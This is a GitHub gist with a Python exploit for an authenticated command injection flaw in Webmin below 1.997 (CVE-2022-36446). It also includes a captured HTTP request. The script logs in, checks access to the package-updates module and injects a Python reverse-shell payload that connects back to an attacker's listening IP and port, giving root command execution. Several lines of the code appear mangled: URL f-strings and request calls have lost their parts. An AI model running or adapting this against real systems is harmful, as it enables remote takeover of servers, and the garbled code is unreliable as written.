Skip to content

Instantly share code, notes, and snippets.

Last active August 1, 2022 10:01
Show Gist options
  • Save emirpolatt/cf19d6c0128fa3e25ebb47e09243919b to your computer and use it in GitHub Desktop.
Save emirpolatt/cf19d6c0128fa3e25ebb47e09243919b to your computer and use it in GitHub Desktop.

Access to the "Software Package Updates" module is required to trigger the vulnerability. Users with access to this module can run commands with root privileges on the system by performing OS Command Injection during a new package installation.

HTTP Request:

POST /package-updates/update.cgi HTTP/1.1
Cookie: redirect=1; testing=1; sid=05ebaaec3707b0075c641325e9153608
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 75
X-No-Links: 1
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close



# Exploit Title: Webmin < 1.997 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-07-25
# Exploit Author: Emir Polat
# Vendor Homepage:
# Software Link:
# Version: < 1.997
# Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
# CVE: CVE-2022-36446

import argparse
import requests
from bs4 import BeautifulSoup

def login(args):
    global session
    global sysUser

    session = requests.Session()
    loginUrl = f"{}:10000/session_login.cgi"
    infoUrl = f"{}:10000/sysinfo.cgi"

    username = args.username
    password = args.password
    data = {'user': username, 'pass': password}

    login =, verify=False, data=data, cookies={'testing': '1'})
    sysInfo =, verify=False, cookies={'sid' : session.cookies['sid']})

    bs = BeautifulSoup(sysInfo.text, 'html.parser')
    sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]

    if sysUser:
        return True
        return False

def exploit(args):
    payload = f"""
    1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
    os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');

    updateUrl = f"{}:10000/package-updates"
    exploitUrl = f"{}:10000/package-updates/update.cgi"

    exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}

    if login(args):
        print("[+] Successfully Logged In !")
        print(f"[+] Session Cookie => sid={session.cookies['sid']}")
        print(f"[+] User Found  => {sysUser[0]}")

        res = session.get(updateUrl)
        bs = BeautifulSoup(res.text, 'html.parser')

        updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]

        if updateAccess[0] == "package-updates":
            print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")
            print(f"[+] Exploit starting ... ")
            print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")

            session.headers.update({'Referer'  : f'{}:10000/package-updates/update.cgi?xnavigation=1'})
  , data=exploitData)
            print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")
        print("[-] Login Failed !")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")
    parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)
    parser.add_argument('-u', '--username', help='Username For Login', required=True)
    parser.add_argument('-p', '--password', help='Password For Login', required=True)
    parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
    parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
    parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)
    args = parser.parse_args()


Author: Emir Polat


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment